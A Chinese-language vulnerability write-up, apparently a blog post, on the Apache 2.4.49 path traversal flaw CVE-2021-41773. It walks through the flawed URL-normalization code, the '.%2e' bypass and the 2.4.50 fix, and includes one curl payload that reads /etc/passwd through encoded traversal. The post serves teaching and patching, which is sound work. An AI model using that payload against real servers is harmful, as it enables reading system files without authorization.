Apache-Http-ServerCVE-2021-41773 2.4.49 路径穿越漏洞

Apache HTTP Server是Apache基金会开源的一款流行的HTTP服务器。在其2.4.49版本中,引入了一个路径穿越漏洞,满足下面两个条件的Apache服务器将会受到影响:

  • 版本等于2.4.49
  • 穿越的目录允许被访问,比如配置了<Directory />Require all granted</Directory>。(默认情况下是不允许的)

攻击者利用这个漏洞,可以读取位于Apache服务器Web目录以外的其他文件,或者读取Web目录中的脚本文件源码,或者在开启了cgi或cgid的服务器上执行任意命令。

漏洞复现

靶场:

github.com/vulhub/vulh...

漏洞原理

Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在../的路径穿越符,如下所示:

scss 复制代码
while (path[l] != '\0') {
    if ((flags & AP_NORMALIZE_DECODE_UNRESERVED)
            && path[l] == '%' && apr_isxdigit(path[l + 1])
            && apr_isxdigit(path[l + 2])) {
        const char c = x2c(&path[l + 1]);
        if (apr_isalnum(c) || (c && strchr("-._~", c))) {
            /* Replace last char and fall through as the current
                * read position */
            l += 2;
            path[l] = c;
        }
    }
    ......
    if (w == 0 || IS_SLASH(path[w - 1])) {
        /* Collapse ///// sequences to / */
        if ((flags & AP_NORMALIZE_MERGE_SLASHES) && IS_SLASH(path[l])) {
            do {
                l++;
            } while (IS_SLASH(path[l]));
            continue;
        }
        if (path[l] == '.') {
            /* Remove /./ segments */
            if (IS_SLASH_OR_NUL(path[l + 1])) {
                l++;
                if (path[l]) {
                    l++;
                }
                continue;
            }
            /* Remove /xx/../ segments */
            if (path[l + 1] == '.' && IS_SLASH_OR_NUL(path[l + 2])) {
                /* Wind w back to remove the previous segment */
                if (w > 1) {
                    do {
                        w--;
                    } while (w && !IS_SLASH(path[w - 1]));
                }
                else {
                    /* Already at root, ignore and return a failure
                        * if asked to.
                        */
                    if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
                        ret = 0;
                    }
                }

当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在../。 ​ 如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

漏洞触发&利用

payload如下:

perl 复制代码
curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
漏洞修复

2.4.50版本对ap_normalize_path函数进行修改,补充了如下代码,对.%2e的绕过形式进行了判断,可以避免使用该方法绕过。

lua 复制代码
if ((path[n] == '.' || (decode_unreserved
    && path[n] == '%'
    && path[++n] == '2'
    && (path[++n] == 'e'
    || path[n] == 'E')))
    && IS_SLASH_OR_NUL(path[n + 1])) {
    /* Wind w back to remove the previous segment */
    if (w > 1) {
        do {
            w--;
        } while (w && !IS_SLASH(path[w - 1]));
    }
    else {
        /* Already at root, ignore and return a failure
            * if asked to.
            */
        if (flags & AP_NORMALIZE_NOT_ABOVE_ROOT) {
            ret = 0;
        }
    }
    /* Move l forward to the next segment */
    l = n + 1;
    if (path[l]) {
        l++;
    }
    continue;
}
相关推荐
儿歌八万首1 小时前
鸿蒙ArkTS多环境API管理与安全签名方案实践
安全·harmonyos·arkts·签名
渗透测试老鸟-九青1 小时前
汽车安全 | 汽车安全入门
安全·汽车·网络安全学习路线·车联网安全·黑客入门
科技云报道1 小时前
IDC权威认可:瑞数信息双项入选《中国大模型安全保护市场概览》
安全
武汉格发Gofartlic1 小时前
Fluent许可与网络安全策略
大数据·开发语言·网络·人工智能·安全·web安全·数据分析
第十六年盛夏.6 小时前
【网络安全】DDOS攻击
安全·web安全·ddos
两圆相切6 小时前
等保2.0详解:筑牢数字时代安全基石
安全
hrrrrb6 小时前
【密码学】2. 古典密码
网络·安全·密码学
云祺vinchin8 小时前
云祺容灾备份系统Hadoop备份与恢复实操手册
运维·网络·安全·数据安全
漫路在线8 小时前
记一次从外网打通AWS云
网络·安全·aws
码间舞9 小时前
XSS攻击你是否真的了解?案例细说,XSS供方两端的较量
前端·安全